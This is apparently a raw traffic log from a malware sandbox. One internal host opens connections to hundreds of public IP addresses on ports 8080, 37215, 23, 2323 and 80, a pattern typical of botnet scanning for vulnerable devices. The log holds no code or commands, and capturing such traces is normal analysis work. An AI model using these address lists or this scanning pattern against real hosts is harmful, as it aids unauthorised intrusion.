Mar 4, 2024 15:05:33.165270090 CET	47577	8080	192.168.2.13	85.240.206.79
Mar 4, 2024 15:05:33.165271997 CET	47577	8080	192.168.2.13	85.140.63.42
Mar 4, 2024 15:05:33.165270090 CET	47577	8080	192.168.2.13	62.32.25.121
Mar 4, 2024 15:05:33.165277958 CET	47577	8080	192.168.2.13	85.47.108.248
Mar 4, 2024 15:05:33.165277958 CET	47577	8080	192.168.2.13	62.213.255.206
Mar 4, 2024 15:05:33.165277958 CET	47577	8080	192.168.2.13	62.29.242.237
Mar 4, 2024 15:05:33.165280104 CET	47577	8080	192.168.2.13	85.234.240.21
Mar 4, 2024 15:05:33.165280104 CET	47577	8080	192.168.2.13	31.56.188.231
Mar 4, 2024 15:05:33.165280104 CET	47577	8080	192.168.2.13	31.28.166.86
Mar 4, 2024 15:05:33.165280104 CET	47577	8080	192.168.2.13	62.121.65.234
Mar 4, 2024 15:05:33.165294886 CET	47577	8080	192.168.2.13	31.163.23.232
Mar 4, 2024 15:05:33.165296078 CET	47577	8080	192.168.2.13	62.68.83.243
Mar 4, 2024 15:05:33.165297985 CET	47577	8080	192.168.2.13	94.95.138.236
Mar 4, 2024 15:05:33.165299892 CET	47577	8080	192.168.2.13	62.122.69.155
Mar 4, 2024 15:05:33.165301085 CET	47577	8080	192.168.2.13	94.28.212.42
Mar 4, 2024 15:05:33.165302992 CET	47577	8080	192.168.2.13	31.224.244.219
Mar 4, 2024 15:05:33.165302992 CET	47577	8080	192.168.2.13	62.108.100.235
Mar 4, 2024 15:05:33.165302992 CET	47577	8080	192.168.2.13	31.172.84.142
Mar 4, 2024 15:05:33.165302992 CET	47577	8080	192.168.2.13	94.203.186.125
Mar 4, 2024 15:05:33.165302992 CET	47577	8080	192.168.2.13	94.71.4.74
Mar 4, 2024 15:05:33.165302992 CET	47577	8080	192.168.2.13	62.132.83.164
Mar 4, 2024 15:05:33.165314913 CET	47577	8080	192.168.2.13	95.235.233.207
Mar 4, 2024 15:05:33.165313959 CET	47577	8080	192.168.2.13	95.176.103.167
Mar 4, 2024 15:05:33.165313959 CET	47577	8080	192.168.2.13	62.139.225.18
Mar 4, 2024 15:05:33.165316105 CET	47577	8080	192.168.2.13	85.215.216.73
Mar 4, 2024 15:05:33.165318966 CET	47577	8080	192.168.2.13	62.131.219.2
Mar 4, 2024 15:05:33.165318966 CET	47577	8080	192.168.2.13	95.6.176.44
Mar 4, 2024 15:05:33.165318966 CET	47577	8080	192.168.2.13	94.133.213.138
Mar 4, 2024 15:05:33.165318966 CET	47577	8080	192.168.2.13	85.165.50.27
Mar 4, 2024 15:05:33.165322065 CET	47577	8080	192.168.2.13	31.207.211.212
Mar 4, 2024 15:05:33.165322065 CET	47577	8080	192.168.2.13	94.36.192.250
Mar 4, 2024 15:05:33.165323973 CET	47577	8080	192.168.2.13	85.55.99.240
Mar 4, 2024 15:05:33.165322065 CET	47577	8080	192.168.2.13	85.16.226.146
Mar 4, 2024 15:05:33.165322065 CET	47577	8080	192.168.2.13	31.179.17.63
Mar 4, 2024 15:05:33.165322065 CET	47577	8080	192.168.2.13	62.98.151.239
Mar 4, 2024 15:05:33.165330887 CET	47577	8080	192.168.2.13	62.207.191.35
Mar 4, 2024 15:05:33.165333986 CET	47577	8080	192.168.2.13	85.89.203.251
Mar 4, 2024 15:05:33.165337086 CET	47577	8080	192.168.2.13	62.190.45.215
Mar 4, 2024 15:05:33.165337086 CET	47577	8080	192.168.2.13	62.105.83.170
Mar 4, 2024 15:05:33.165339947 CET	47577	8080	192.168.2.13	62.84.250.250
Mar 4, 2024 15:05:33.165339947 CET	47577	8080	192.168.2.13	94.71.136.169
Mar 4, 2024 15:05:33.165339947 CET	47577	8080	192.168.2.13	31.64.242.27
Mar 4, 2024 15:05:33.165343046 CET	47577	8080	192.168.2.13	31.33.235.237
Mar 4, 2024 15:05:33.165352106 CET	47577	8080	192.168.2.13	94.149.62.194
Mar 4, 2024 15:05:33.165355921 CET	47577	8080	192.168.2.13	31.0.167.188
Mar 4, 2024 15:05:33.165355921 CET	47577	8080	192.168.2.13	62.108.154.171
Mar 4, 2024 15:05:33.165355921 CET	47577	8080	192.168.2.13	94.49.188.116
Mar 4, 2024 15:05:33.165358067 CET	47577	8080	192.168.2.13	62.243.64.72
Mar 4, 2024 15:05:33.165364981 CET	47577	8080	192.168.2.13	94.145.132.246
Mar 4, 2024 15:05:33.165364981 CET	47577	8080	192.168.2.13	94.209.41.208
Mar 4, 2024 15:05:33.165364981 CET	47577	8080	192.168.2.13	94.139.160.61
Mar 4, 2024 15:05:33.165364981 CET	47577	8080	192.168.2.13	95.133.255.62
Mar 4, 2024 15:05:33.165364981 CET	47577	8080	192.168.2.13	31.108.205.163
Mar 4, 2024 15:05:33.165364981 CET	47577	8080	192.168.2.13	62.31.122.219
Mar 4, 2024 15:05:33.165364981 CET	47577	8080	192.168.2.13	31.226.114.141
Mar 4, 2024 15:05:33.165364981 CET	47577	8080	192.168.2.13	95.146.235.228
Mar 4, 2024 15:05:33.165366888 CET	47577	8080	192.168.2.13	85.233.168.14
Mar 4, 2024 15:05:33.165369034 CET	47577	8080	192.168.2.13	95.42.44.86
Mar 4, 2024 15:05:33.165369034 CET	47577	8080	192.168.2.13	62.138.105.200
Mar 4, 2024 15:05:33.165378094 CET	47577	8080	192.168.2.13	94.188.57.213
Mar 4, 2024 15:05:33.165378094 CET	47577	8080	192.168.2.13	31.9.216.65
Mar 4, 2024 15:05:33.165379047 CET	47577	8080	192.168.2.13	31.11.37.114
Mar 4, 2024 15:05:33.165386915 CET	47577	8080	192.168.2.13	94.139.253.13
Mar 4, 2024 15:05:33.165389061 CET	47577	8080	192.168.2.13	85.40.8.255
Mar 4, 2024 15:05:33.165389061 CET	47577	8080	192.168.2.13	95.212.103.43
Mar 4, 2024 15:05:33.165394068 CET	47577	8080	192.168.2.13	95.203.77.20
Mar 4, 2024 15:05:33.165405035 CET	47577	8080	192.168.2.13	95.2.236.171
Mar 4, 2024 15:05:33.165405035 CET	47577	8080	192.168.2.13	62.225.134.31
Mar 4, 2024 15:05:33.165405989 CET	47577	8080	192.168.2.13	85.90.35.140
Mar 4, 2024 15:05:33.165407896 CET	47577	8080	192.168.2.13	31.253.134.66
Mar 4, 2024 15:05:33.165407896 CET	47577	8080	192.168.2.13	95.127.228.223
Mar 4, 2024 15:05:33.165407896 CET	47577	8080	192.168.2.13	62.168.89.89
Mar 4, 2024 15:05:33.165407896 CET	47577	8080	192.168.2.13	95.216.0.209
Mar 4, 2024 15:05:33.165407896 CET	47577	8080	192.168.2.13	94.159.46.15
Mar 4, 2024 15:05:33.165407896 CET	47577	8080	192.168.2.13	31.118.168.4
Mar 4, 2024 15:05:33.165409088 CET	47577	8080	192.168.2.13	94.65.225.168
Mar 4, 2024 15:05:33.165409088 CET	47577	8080	192.168.2.13	85.158.10.41
Mar 4, 2024 15:05:33.165417910 CET	47577	8080	192.168.2.13	85.191.144.188
Mar 4, 2024 15:05:33.165421009 CET	47577	8080	192.168.2.13	95.127.65.230
Mar 4, 2024 15:05:33.165421009 CET	47577	8080	192.168.2.13	94.43.156.164
Mar 4, 2024 15:05:33.165430069 CET	47577	8080	192.168.2.13	94.216.248.224
Mar 4, 2024 15:05:33.165436029 CET	47577	8080	192.168.2.13	62.37.221.134
Mar 4, 2024 15:05:33.165447950 CET	47577	8080	192.168.2.13	94.79.46.98
Mar 4, 2024 15:05:33.165453911 CET	47577	8080	192.168.2.13	62.217.255.132
Mar 4, 2024 15:05:33.165453911 CET	47577	8080	192.168.2.13	85.129.16.47
Mar 4, 2024 15:05:33.165457964 CET	47577	8080	192.168.2.13	85.46.89.101
Mar 4, 2024 15:05:33.165457964 CET	47577	8080	192.168.2.13	94.166.29.92
Mar 4, 2024 15:05:33.165462017 CET	47577	8080	192.168.2.13	31.186.138.69
Mar 4, 2024 15:05:33.165466070 CET	47577	8080	192.168.2.13	94.136.187.100
Mar 4, 2024 15:05:33.165474892 CET	47577	8080	192.168.2.13	31.179.237.232
Mar 4, 2024 15:05:33.165474892 CET	47577	8080	192.168.2.13	31.232.149.91
Mar 4, 2024 15:05:33.165474892 CET	47577	8080	192.168.2.13	85.106.11.47
Mar 4, 2024 15:05:33.165477037 CET	47577	8080	192.168.2.13	95.230.5.55
Mar 4, 2024 15:05:33.165477037 CET	47577	8080	192.168.2.13	85.237.14.114
Mar 4, 2024 15:05:33.165477037 CET	47577	8080	192.168.2.13	85.229.45.35
Mar 4, 2024 15:05:33.165483952 CET	47577	8080	192.168.2.13	62.179.189.134
Mar 4, 2024 15:05:33.165493965 CET	47577	8080	192.168.2.13	62.71.254.195
Mar 4, 2024 15:05:33.165497065 CET	47577	8080	192.168.2.13	94.92.201.231
Mar 4, 2024 15:05:33.165497065 CET	47577	8080	192.168.2.13	31.116.221.102
Mar 4, 2024 15:05:33.165499926 CET	47577	8080	192.168.2.13	95.84.41.228
Mar 4, 2024 15:05:33.165499926 CET	47577	8080	192.168.2.13	94.26.250.110
Mar 4, 2024 15:05:33.165502071 CET	47577	8080	192.168.2.13	95.5.172.243
Mar 4, 2024 15:05:33.165502071 CET	47577	8080	192.168.2.13	95.112.224.202
Mar 4, 2024 15:05:33.165502071 CET	47577	8080	192.168.2.13	31.88.165.154
Mar 4, 2024 15:05:33.165512085 CET	47577	8080	192.168.2.13	95.145.159.62
Mar 4, 2024 15:05:33.165512085 CET	47577	8080	192.168.2.13	31.46.141.42
Mar 4, 2024 15:05:33.165512085 CET	47577	8080	192.168.2.13	95.169.5.216
Mar 4, 2024 15:05:33.165513039 CET	47577	8080	192.168.2.13	31.7.58.30
Mar 4, 2024 15:05:33.165512085 CET	47577	8080	192.168.2.13	62.238.32.169
Mar 4, 2024 15:05:33.165518045 CET	47577	8080	192.168.2.13	62.249.8.132
Mar 4, 2024 15:05:33.165523052 CET	47577	8080	192.168.2.13	85.24.93.163
Mar 4, 2024 15:05:33.165527105 CET	47577	8080	192.168.2.13	95.40.232.27
Mar 4, 2024 15:05:33.165527105 CET	47577	8080	192.168.2.13	31.158.240.168
Mar 4, 2024 15:05:33.165527105 CET	47577	8080	192.168.2.13	85.132.68.78
Mar 4, 2024 15:05:33.165534973 CET	47577	8080	192.168.2.13	94.53.118.190
Mar 4, 2024 15:05:33.165534973 CET	47577	8080	192.168.2.13	62.27.177.107
Mar 4, 2024 15:05:33.165541887 CET	47577	8080	192.168.2.13	85.23.199.19
Mar 4, 2024 15:05:33.165553093 CET	47577	8080	192.168.2.13	31.15.184.134
Mar 4, 2024 15:05:33.165554047 CET	47577	8080	192.168.2.13	85.107.184.210
Mar 4, 2024 15:05:33.165554047 CET	47577	8080	192.168.2.13	94.182.146.251
Mar 4, 2024 15:05:33.165559053 CET	47577	8080	192.168.2.13	94.65.83.119
Mar 4, 2024 15:05:33.165559053 CET	47577	8080	192.168.2.13	62.19.68.20
Mar 4, 2024 15:05:33.165570974 CET	47577	8080	192.168.2.13	94.255.232.175
Mar 4, 2024 15:05:33.165576935 CET	47577	8080	192.168.2.13	62.57.36.87
Mar 4, 2024 15:05:33.165575981 CET	47577	8080	192.168.2.13	62.152.23.88
Mar 4, 2024 15:05:33.165575981 CET	47577	8080	192.168.2.13	94.136.35.255
Mar 4, 2024 15:05:33.165579081 CET	47577	8080	192.168.2.13	94.147.74.74
Mar 4, 2024 15:05:33.165579081 CET	47577	8080	192.168.2.13	62.33.8.56
Mar 4, 2024 15:05:33.165579081 CET	47577	8080	192.168.2.13	85.60.12.123
Mar 4, 2024 15:05:33.165586948 CET	47577	8080	192.168.2.13	62.129.178.217
Mar 4, 2024 15:05:33.165586948 CET	47577	8080	192.168.2.13	85.69.87.251
Mar 4, 2024 15:05:33.165590048 CET	47577	8080	192.168.2.13	85.84.226.13
Mar 4, 2024 15:05:33.165586948 CET	47577	8080	192.168.2.13	85.145.46.139
Mar 4, 2024 15:05:33.165596962 CET	47577	8080	192.168.2.13	95.25.84.53
Mar 4, 2024 15:05:33.165596962 CET	47577	8080	192.168.2.13	94.72.168.255
Mar 4, 2024 15:05:33.165597916 CET	47577	8080	192.168.2.13	31.83.69.72
Mar 4, 2024 15:05:33.165597916 CET	47577	8080	192.168.2.13	94.201.78.221
Mar 4, 2024 15:05:33.165612936 CET	47577	8080	192.168.2.13	94.35.177.198
Mar 4, 2024 15:05:33.165618896 CET	47577	8080	192.168.2.13	31.135.207.246
Mar 4, 2024 15:05:33.165623903 CET	47577	8080	192.168.2.13	94.70.164.193
Mar 4, 2024 15:05:33.165623903 CET	47577	8080	192.168.2.13	31.232.81.254
Mar 4, 2024 15:05:33.165630102 CET	47577	8080	192.168.2.13	31.245.125.40
Mar 4, 2024 15:05:33.165632010 CET	47577	8080	192.168.2.13	31.203.209.138
Mar 4, 2024 15:05:33.165630102 CET	47577	8080	192.168.2.13	62.147.52.26
Mar 4, 2024 15:05:33.165632010 CET	47577	8080	192.168.2.13	94.139.76.55
Mar 4, 2024 15:05:33.165632010 CET	47577	8080	192.168.2.13	95.162.213.252
Mar 4, 2024 15:05:33.165636063 CET	47577	8080	192.168.2.13	85.76.237.183
Mar 4, 2024 15:05:33.165642977 CET	47577	8080	192.168.2.13	62.145.242.149
Mar 4, 2024 15:05:33.165642977 CET	47577	8080	192.168.2.13	31.207.240.118
Mar 4, 2024 15:05:33.165657997 CET	47577	8080	192.168.2.13	95.247.154.221
Mar 4, 2024 15:05:33.165664911 CET	47577	8080	192.168.2.13	95.135.206.57
Mar 4, 2024 15:05:33.165664911 CET	47577	8080	192.168.2.13	85.106.202.65
Mar 4, 2024 15:05:33.165671110 CET	47577	8080	192.168.2.13	95.111.183.96
Mar 4, 2024 15:05:33.165678024 CET	47577	8080	192.168.2.13	31.126.47.168
Mar 4, 2024 15:05:33.165678024 CET	47577	8080	192.168.2.13	95.156.33.197
Mar 4, 2024 15:05:33.165678024 CET	47577	8080	192.168.2.13	85.199.116.22
Mar 4, 2024 15:05:33.165678024 CET	47577	8080	192.168.2.13	62.177.30.130
Mar 4, 2024 15:05:33.165678978 CET	47577	8080	192.168.2.13	62.7.99.16
Mar 4, 2024 15:05:33.165684938 CET	47577	8080	192.168.2.13	31.171.233.131
Mar 4, 2024 15:05:33.165684938 CET	47577	8080	192.168.2.13	85.45.179.228
Mar 4, 2024 15:05:33.165690899 CET	47577	8080	192.168.2.13	85.106.228.11
Mar 4, 2024 15:05:33.165698051 CET	47577	8080	192.168.2.13	95.184.5.140
Mar 4, 2024 15:05:33.165698051 CET	47577	8080	192.168.2.13	94.42.174.233
Mar 4, 2024 15:05:33.165710926 CET	47577	8080	192.168.2.13	94.213.112.232
Mar 4, 2024 15:05:33.165710926 CET	47577	8080	192.168.2.13	31.190.173.232
Mar 4, 2024 15:05:33.165714979 CET	47577	8080	192.168.2.13	31.172.82.166
Mar 4, 2024 15:05:33.165724039 CET	47577	8080	192.168.2.13	31.241.208.0
Mar 4, 2024 15:05:33.165734053 CET	47577	8080	192.168.2.13	94.227.99.58
Mar 4, 2024 15:05:33.165735006 CET	47577	8080	192.168.2.13	94.156.162.156
Mar 4, 2024 15:05:33.165734053 CET	47577	8080	192.168.2.13	31.200.196.86
Mar 4, 2024 15:05:33.165735960 CET	47577	8080	192.168.2.13	95.207.250.72
Mar 4, 2024 15:05:33.165734053 CET	47577	8080	192.168.2.13	94.29.166.177
Mar 4, 2024 15:05:33.165736914 CET	47577	8080	192.168.2.13	62.7.186.131
Mar 4, 2024 15:05:33.165741920 CET	47577	8080	192.168.2.13	85.149.44.76
Mar 4, 2024 15:05:33.165736914 CET	47577	8080	192.168.2.13	62.37.132.97
Mar 4, 2024 15:05:33.165744066 CET	47577	8080	192.168.2.13	85.250.145.64
Mar 4, 2024 15:05:33.165736914 CET	47577	8080	192.168.2.13	62.70.79.195
Mar 4, 2024 15:05:33.165735960 CET	47577	8080	192.168.2.13	62.55.142.1
Mar 4, 2024 15:05:33.165736914 CET	47577	8080	192.168.2.13	95.116.214.84
Mar 4, 2024 15:05:33.165735960 CET	47577	8080	192.168.2.13	94.94.42.144
Mar 4, 2024 15:05:33.165736914 CET	47577	8080	192.168.2.13	95.87.54.37
Mar 4, 2024 15:05:33.165735960 CET	47577	8080	192.168.2.13	95.175.106.183
Mar 4, 2024 15:05:33.165754080 CET	47577	8080	192.168.2.13	62.67.148.134
Mar 4, 2024 15:05:33.165756941 CET	47577	8080	192.168.2.13	31.145.165.104
Mar 4, 2024 15:05:33.165756941 CET	47577	8080	192.168.2.13	95.90.48.162
Mar 4, 2024 15:05:33.165762901 CET	47577	8080	192.168.2.13	31.155.161.48
Mar 4, 2024 15:05:33.165762901 CET	47577	8080	192.168.2.13	62.14.153.197
Mar 4, 2024 15:05:33.165762901 CET	47577	8080	192.168.2.13	85.3.186.6
Mar 4, 2024 15:05:33.165764093 CET	47577	8080	192.168.2.13	94.168.230.40
Mar 4, 2024 15:05:33.165765047 CET	47577	8080	192.168.2.13	31.56.231.34
Mar 4, 2024 15:05:33.165765047 CET	47577	8080	192.168.2.13	31.49.255.94
Mar 4, 2024 15:05:33.165765047 CET	47577	8080	192.168.2.13	31.71.255.154
Mar 4, 2024 15:05:33.165765047 CET	47577	8080	192.168.2.13	94.192.162.40
Mar 4, 2024 15:05:33.165765047 CET	47577	8080	192.168.2.13	31.164.226.82
Mar 4, 2024 15:05:33.165781021 CET	47577	8080	192.168.2.13	95.92.37.34
Mar 4, 2024 15:05:33.165781021 CET	47577	8080	192.168.2.13	95.32.80.41
Mar 4, 2024 15:05:33.165782928 CET	47577	8080	192.168.2.13	85.215.76.29
Mar 4, 2024 15:05:33.165787935 CET	47577	8080	192.168.2.13	62.81.188.194
Mar 4, 2024 15:05:33.165787935 CET	47577	8080	192.168.2.13	94.205.121.251
Mar 4, 2024 15:05:33.165791035 CET	47577	8080	192.168.2.13	62.83.133.71
Mar 4, 2024 15:05:33.165791035 CET	47577	8080	192.168.2.13	31.124.83.178
Mar 4, 2024 15:05:33.165795088 CET	47577	8080	192.168.2.13	94.193.212.112
Mar 4, 2024 15:05:33.165795088 CET	47577	8080	192.168.2.13	85.239.200.58
Mar 4, 2024 15:05:33.165795088 CET	47577	8080	192.168.2.13	62.192.79.171
Mar 4, 2024 15:05:33.165796995 CET	47577	8080	192.168.2.13	94.200.104.174
Mar 4, 2024 15:05:33.165816069 CET	47577	8080	192.168.2.13	62.8.181.240
Mar 4, 2024 15:05:33.165817022 CET	47577	8080	192.168.2.13	31.109.69.188
Mar 4, 2024 15:05:33.165817022 CET	47577	8080	192.168.2.13	85.5.107.143
Mar 4, 2024 15:05:33.165817022 CET	47577	8080	192.168.2.13	94.146.124.58
Mar 4, 2024 15:05:33.165817022 CET	47577	8080	192.168.2.13	94.104.59.142
Mar 4, 2024 15:05:33.165817022 CET	47577	8080	192.168.2.13	31.5.163.226
Mar 4, 2024 15:05:33.165817022 CET	47577	8080	192.168.2.13	31.167.125.162
Mar 4, 2024 15:05:33.165822029 CET	47577	8080	192.168.2.13	85.97.201.29
Mar 4, 2024 15:05:33.165822029 CET	47577	8080	192.168.2.13	95.113.90.64
Mar 4, 2024 15:05:33.165823936 CET	47577	8080	192.168.2.13	31.211.152.152
Mar 4, 2024 15:05:33.165822983 CET	47577	8080	192.168.2.13	85.187.148.211
Mar 4, 2024 15:05:33.165824890 CET	47577	8080	192.168.2.13	94.70.175.171
Mar 4, 2024 15:05:33.165822983 CET	47577	8080	192.168.2.13	95.141.78.5
Mar 4, 2024 15:05:33.165824890 CET	47577	8080	192.168.2.13	62.139.85.42
Mar 4, 2024 15:05:33.165822983 CET	47577	8080	192.168.2.13	85.209.133.113
Mar 4, 2024 15:05:33.165824890 CET	47577	8080	192.168.2.13	62.215.108.91
Mar 4, 2024 15:05:33.165822983 CET	47577	8080	192.168.2.13	62.60.238.245
Mar 4, 2024 15:05:33.165829897 CET	47577	8080	192.168.2.13	62.126.189.242
Mar 4, 2024 15:05:33.165833950 CET	47577	8080	192.168.2.13	31.5.169.35
Mar 4, 2024 15:05:33.165833950 CET	47577	8080	192.168.2.13	94.172.49.14
Mar 4, 2024 15:05:33.165848017 CET	47577	8080	192.168.2.13	31.193.52.183
Mar 4, 2024 15:05:33.165848970 CET	47577	8080	192.168.2.13	95.201.92.223
Mar 4, 2024 15:05:33.165849924 CET	47577	8080	192.168.2.13	85.63.195.199
Mar 4, 2024 15:05:33.165848970 CET	47577	8080	192.168.2.13	31.248.58.142
Mar 4, 2024 15:05:33.165849924 CET	47577	8080	192.168.2.13	94.78.169.52
Mar 4, 2024 15:05:33.165849924 CET	47577	8080	192.168.2.13	94.40.123.223
Mar 4, 2024 15:05:33.165852070 CET	47577	8080	192.168.2.13	95.8.5.118
Mar 4, 2024 15:05:33.165848970 CET	47577	8080	192.168.2.13	31.12.47.71
Mar 4, 2024 15:05:33.165848970 CET	47577	8080	192.168.2.13	95.51.233.93
Mar 4, 2024 15:05:33.165848970 CET	47577	8080	192.168.2.13	95.156.130.13
Mar 4, 2024 15:05:33.165849924 CET	47577	8080	192.168.2.13	94.78.47.115
Mar 4, 2024 15:05:33.165862083 CET	47577	8080	192.168.2.13	94.145.158.254
Mar 4, 2024 15:05:33.165862083 CET	47577	8080	192.168.2.13	31.162.144.166
Mar 4, 2024 15:05:33.165873051 CET	47577	8080	192.168.2.13	62.166.60.118
Mar 4, 2024 15:05:33.165873051 CET	47577	8080	192.168.2.13	31.84.116.192
Mar 4, 2024 15:05:33.165874958 CET	47577	8080	192.168.2.13	94.71.174.77
Mar 4, 2024 15:05:33.165873051 CET	47577	8080	192.168.2.13	85.194.73.126
Mar 4, 2024 15:05:33.165877104 CET	47577	8080	192.168.2.13	62.46.109.222
Mar 4, 2024 15:05:33.165873051 CET	47577	8080	192.168.2.13	94.101.56.92
Mar 4, 2024 15:05:33.165878057 CET	47577	8080	192.168.2.13	94.202.11.252
Mar 4, 2024 15:05:33.165882111 CET	47577	8080	192.168.2.13	85.160.90.57
Mar 4, 2024 15:05:33.165894985 CET	47577	8080	192.168.2.13	31.139.145.226
Mar 4, 2024 15:05:33.165894985 CET	47577	8080	192.168.2.13	31.44.139.105
Mar 4, 2024 15:05:33.165896893 CET	47577	8080	192.168.2.13	95.179.216.166
Mar 4, 2024 15:05:33.165898085 CET	47577	8080	192.168.2.13	31.222.240.95
Mar 4, 2024 15:05:33.165904999 CET	47577	8080	192.168.2.13	31.53.137.135
Mar 4, 2024 15:05:33.165904999 CET	47577	8080	192.168.2.13	85.3.237.78
Mar 4, 2024 15:05:33.165915966 CET	47577	8080	192.168.2.13	95.233.82.155
Mar 4, 2024 15:05:33.165918112 CET	47577	8080	192.168.2.13	62.184.66.124
Mar 4, 2024 15:05:33.165918112 CET	47577	8080	192.168.2.13	94.54.6.172
Mar 4, 2024 15:05:33.165918112 CET	47577	8080	192.168.2.13	62.235.184.64
Mar 4, 2024 15:05:33.165921926 CET	47577	8080	192.168.2.13	31.148.201.111
Mar 4, 2024 15:05:33.165931940 CET	47577	8080	192.168.2.13	95.204.94.140
Mar 4, 2024 15:05:33.165947914 CET	47577	8080	192.168.2.13	94.125.70.244
Mar 4, 2024 15:05:33.165947914 CET	47577	8080	192.168.2.13	95.77.101.3
Mar 4, 2024 15:05:33.175118923 CET	51154	80	192.168.2.13	88.204.194.249
Mar 4, 2024 15:05:33.175123930 CET	41024	8080	192.168.2.13	94.123.65.224
Mar 4, 2024 15:05:33.175134897 CET	39938	1024	192.168.2.13	45.142.107.38
Mar 4, 2024 15:05:33.333606005 CET	8080	47577	31.172.75.160	192.168.2.13
Mar 4, 2024 15:05:33.333834887 CET	47577	8080	192.168.2.13	31.172.75.160
Mar 4, 2024 15:05:33.345319033 CET	2323	50393	190.35.5.110	192.168.2.13
Mar 4, 2024 15:05:33.379410028 CET	23	50393	189.126.126.62	192.168.2.13
Mar 4, 2024 15:05:33.379487991 CET	50393	23	192.168.2.13	189.126.126.62
Mar 4, 2024 15:05:33.381958008 CET	8080	47577	94.123.84.109	192.168.2.13
Mar 4, 2024 15:05:33.382177114 CET	47577	8080	192.168.2.13	94.123.84.109
Mar 4, 2024 15:05:33.468770981 CET	80	48089	112.159.236.177	192.168.2.13
Mar 4, 2024 15:05:33.472014904 CET	80	48089	112.179.67.106	192.168.2.13
Mar 4, 2024 15:05:33.475673914 CET	80	48089	112.156.79.192	192.168.2.13
Mar 4, 2024 15:05:33.497582912 CET	80	48089	112.124.55.210	192.168.2.13
Mar 4, 2024 15:05:33.497781992 CET	48089	80	192.168.2.13	112.124.55.210
Mar 4, 2024 15:05:33.531107903 CET	37215	47833	41.175.124.213	192.168.2.13
Mar 4, 2024 15:05:34.151087046 CET	47833	37215	192.168.2.13	197.109.240.3
Mar 4, 2024 15:05:34.151093006 CET	47833	37215	192.168.2.13	197.80.223.101
Mar 4, 2024 15:05:34.151151896 CET	47833	37215	192.168.2.13	197.205.8.18
Mar 4, 2024 15:05:34.151180029 CET	47833	37215	192.168.2.13	197.148.31.128
Mar 4, 2024 15:05:34.151197910 CET	47833	37215	192.168.2.13	197.7.249.232
Mar 4, 2024 15:05:34.151226044 CET	47833	37215	192.168.2.13	197.203.195.86
Mar 4, 2024 15:05:34.151287079 CET	47833	37215	192.168.2.13	197.154.30.160
Mar 4, 2024 15:05:34.151282072 CET	47833	37215	192.168.2.13	197.175.85.132
Mar 4, 2024 15:05:34.151288033 CET	47833	37215	192.168.2.13	197.148.251.212
Mar 4, 2024 15:05:34.151288986 CET	47833	37215	192.168.2.13	197.123.136.211
Mar 4, 2024 15:05:34.151282072 CET	47833	37215	192.168.2.13	197.126.93.220
Mar 4, 2024 15:05:34.151282072 CET	47833	37215	192.168.2.13	197.229.247.141
Mar 4, 2024 15:05:34.151335001 CET	47833	37215	192.168.2.13	197.23.252.139
Mar 4, 2024 15:05:34.151335001 CET	47833	37215	192.168.2.13	197.115.137.251
Mar 4, 2024 15:05:34.151336908 CET	47833	37215	192.168.2.13	197.91.181.4
Mar 4, 2024 15:05:34.151345968 CET	47833	37215	192.168.2.13	197.115.150.255
Mar 4, 2024 15:05:34.151357889 CET	47833	37215	192.168.2.13	197.86.160.97
Mar 4, 2024 15:05:34.151360035 CET	47833	37215	192.168.2.13	197.92.154.161
Mar 4, 2024 15:05:34.151366949 CET	47833	37215	192.168.2.13	197.212.66.10
Mar 4, 2024 15:05:34.151375055 CET	47833	37215	192.168.2.13	197.192.112.125
Mar 4, 2024 15:05:34.151375055 CET	47833	37215	192.168.2.13	197.88.17.137
Mar 4, 2024 15:05:34.151375055 CET	47833	37215	192.168.2.13	197.89.29.8
Mar 4, 2024 15:05:34.151386023 CET	47833	37215	192.168.2.13	197.116.8.146
Mar 4, 2024 15:05:34.151386976 CET	47833	37215	192.168.2.13	197.50.31.133
Mar 4, 2024 15:05:34.151398897 CET	47833	37215	192.168.2.13	197.63.253.103
Mar 4, 2024 15:05:34.151390076 CET	47833	37215	192.168.2.13	197.133.153.101
Mar 4, 2024 15:05:34.151416063 CET	47833	37215	192.168.2.13	197.175.56.231
Mar 4, 2024 15:05:34.151420116 CET	47833	37215	192.168.2.13	197.180.131.99
Mar 4, 2024 15:05:34.151420116 CET	47833	37215	192.168.2.13	197.164.247.90
Mar 4, 2024 15:05:34.151422977 CET	47833	37215	192.168.2.13	197.79.242.243
Mar 4, 2024 15:05:34.151426077 CET	47833	37215	192.168.2.13	197.236.150.227
Mar 4, 2024 15:05:34.151438951 CET	47833	37215	192.168.2.13	197.16.109.176
Mar 4, 2024 15:05:34.151442051 CET	47833	37215	192.168.2.13	197.103.224.255
Mar 4, 2024 15:05:34.151460886 CET	47833	37215	192.168.2.13	197.249.88.239
Mar 4, 2024 15:05:34.151464939 CET	47833	37215	192.168.2.13	197.220.172.24
Mar 4, 2024 15:05:34.151468039 CET	47833	37215	192.168.2.13	197.9.49.72
Mar 4, 2024 15:05:34.151475906 CET	47833	37215	192.168.2.13	197.120.201.252
Mar 4, 2024 15:05:34.151475906 CET	47833	37215	192.168.2.13	197.236.245.52
Mar 4, 2024 15:05:34.151475906 CET	47833	37215	192.168.2.13	197.134.15.202
Mar 4, 2024 15:05:34.151475906 CET	47833	37215	192.168.2.13	197.240.13.142
Mar 4, 2024 15:05:34.151493073 CET	47833	37215	192.168.2.13	197.69.169.210
Mar 4, 2024 15:05:34.151494980 CET	47833	37215	192.168.2.13	197.220.111.241
Mar 4, 2024 15:05:34.151495934 CET	47833	37215	192.168.2.13	197.246.56.66
Mar 4, 2024 15:05:34.151496887 CET	47833	37215	192.168.2.13	197.57.59.182
Mar 4, 2024 15:05:34.151510000 CET	47833	37215	192.168.2.13	197.18.44.8
Mar 4, 2024 15:05:34.151518106 CET	47833	37215	192.168.2.13	197.251.106.243
Mar 4, 2024 15:05:34.151531935 CET	47833	37215	192.168.2.13	197.115.22.80
Mar 4, 2024 15:05:34.151531935 CET	47833	37215	192.168.2.13	197.232.155.233
Mar 4, 2024 15:05:34.151540041 CET	47833	37215	192.168.2.13	197.189.33.154
Mar 4, 2024 15:05:34.151554108 CET	47833	37215	192.168.2.13	197.111.232.8
Mar 4, 2024 15:05:34.151556015 CET	47833	37215	192.168.2.13	197.73.172.72
Mar 4, 2024 15:05:34.151576996 CET	47833	37215	192.168.2.13	197.221.59.52
Mar 4, 2024 15:05:34.151582003 CET	47833	37215	192.168.2.13	197.47.209.118
Mar 4, 2024 15:05:34.151586056 CET	47833	37215	192.168.2.13	197.155.92.2
Mar 4, 2024 15:05:34.151595116 CET	47833	37215	192.168.2.13	197.150.62.76
Mar 4, 2024 15:05:34.151595116 CET	47833	37215	192.168.2.13	197.152.123.68
Mar 4, 2024 15:05:34.151597023 CET	47833	37215	192.168.2.13	197.143.169.25
